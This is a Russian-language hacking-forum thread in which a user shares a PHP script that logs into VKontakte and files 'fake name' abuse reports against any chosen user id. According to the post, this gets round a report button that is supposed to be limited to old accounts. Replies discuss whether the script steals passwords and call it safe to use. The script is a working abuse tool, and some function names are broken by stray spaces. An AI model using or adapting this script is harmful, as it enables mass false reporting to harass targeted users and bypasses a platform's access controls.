[Уязвимость] Стукачим в Вконтакте

[pilmen100500]

Не так давно появилась функция вконтакте ненастоящие имя
Дело в том что эта кнопка доступна только тем у кого у кого id < миллиона
Переписал скрипт теперь работает

<?php

$mail = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; //e-mail или логин от контакта
$pass = "zxczxc"; //пароль от контакта
$id = "1"; //на кого стучим
$text = "No comment "; //комментарий

function curl($link, $cookie=null, $post=null) {

$ch = curl_init($link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);

if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}

$response = curl_exec($ch);
curl_close($ch);
return $response;
}

$res=file_get_contents('http://login.vk.com/?act=login&email='.urlencode($mail).'&pass='.urlen code($pass).'');
preg_match("/value=\'(.*?)\'/",$res,$sid);
$cookie="remixsid=$sid[1]";

$res=curl("http://vkontakte.ru/reports.php?act=a_set_warning_box&mid=$id",$cookie );
preg_match("/hash:\'(.*?)\'/",$res,$hash);

$res=curl("http://vkontakte.ru/reports.php?act=report&item_type=1&item_id=$id&has h=$hash&comment=$text",$cookie);

print iconv('cp1251','866',"$res");

?>

[Nexter]

Честно говоря мне этот скрипт не понятен, а более не понятен его смысл?

Цитата: Сообщение от pilmen100500 $mail = "[Ссылки могут видеть только зарегистрированные пользователи. ]"; //e-mail или логин от контакта $pass = "zxczxc"; //пароль от контакта

вот эти строки уж больно настараживают)

[zuzzz]

Скрипт не проверял, но он ни чего страшного с паролем не делает
нужен чтобы авторизоваться в вконтакте
'http://login.vk.com/?act=login&email='.urlencode($mail).'&pass='.urlen code($pass).''
и получить идентификатор ссесии
http://vkontakte.ru/reports.php?act=a_set_warning_box&mid=$id",
и получить хеш, который необходим при отправке запроса на "жалобу"
http://vkontakte.ru/reports.php?act=report&item_type=1&item_id=$id&has h=$hash&comment=$text"

[Kavaii^_^]

хотелось бы услышать ответа от тестеров))

[y0ucanstopme]

Ничего в скрипте нету, можете юзать.